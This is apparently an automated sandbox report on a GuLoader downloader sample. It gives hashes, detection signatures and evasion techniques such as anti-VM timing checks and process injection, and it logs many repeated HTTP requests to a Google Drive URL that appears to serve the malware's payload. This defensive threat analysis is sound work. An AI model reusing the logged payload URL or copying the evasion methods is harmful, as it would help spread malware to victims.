Edit tour

Windows Analysis Report
QNuQ5e175D.exe

Overview

General Information

Sample name:	QNuQ5e175D.exe renamed because original name is a hash value
Original sample name:	e5fd95536576d21b43b1552aed3040ea366375b5a952c333dd89f1ed251c12aa.exe
Analysis ID:	1588755
MD5:	9bb2cdb8508ee2255a35ecec43462a48
SHA1:	c7465e8b0a3ae61b23520752afbb8bf89a3cecdd
SHA256:	e5fd95536576d21b43b1552aed3040ea366375b5a952c333dd89f1ed251c12aa
Tags:	exesigneduser-adrian__luca
Infos:

Detection

GuLoader

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected GuLoader

AI detected suspicious sample

Switches to a custom stack to bypass stack traces

Tries to detect virtualization through RDTSC time measurements

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

QNuQ5e175D.exe (PID: 7644 cmdline: "C:\Users\user\Desktop\QNuQ5e175D.exe" MD5: 9BB2CDB8508EE2255A35ECEC43462A48)

QNuQ5e175D.exe (PID: 7988 cmdline: "C:\Users\user\Desktop\QNuQ5e175D.exe" MD5: 9BB2CDB8508EE2255A35ECEC43462A48)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1535894824.000000000446C000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000003.00000002.2559418196.00000000017EC000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:06:01.073774+0100	2803270	2	Potentially Bad Traffic	192.168.2.11	49854	172.217.16.142	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: QNuQ5e175D.exe	Virustotal: Detection: 63%			Perma Link
Source: QNuQ5e175D.exe	ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: QNuQ5e175D.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.11:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:49871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:49959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:49999 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50020 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50048 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50060 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50062 version: TLS 1.2

Source: QNuQ5e175D.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Code function: 0_2_004068D4 FindFirstFileW,FindClose,	0_2_004068D4
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Code function: 0_2_00405C83 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C83
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Code function: 0_2_00402930 FindFirstFileW,	0_2_00402930
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Code function: 3_2_00402930 FindFirstFileW,	3_2_00402930
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Code function: 3_2_004068D4 FindFirstFileW,FindClose,	3_2_004068D4
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Code function: 3_2_00405C83 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	3_2_00405C83

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.11:49854 -> 172.217.16.142:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
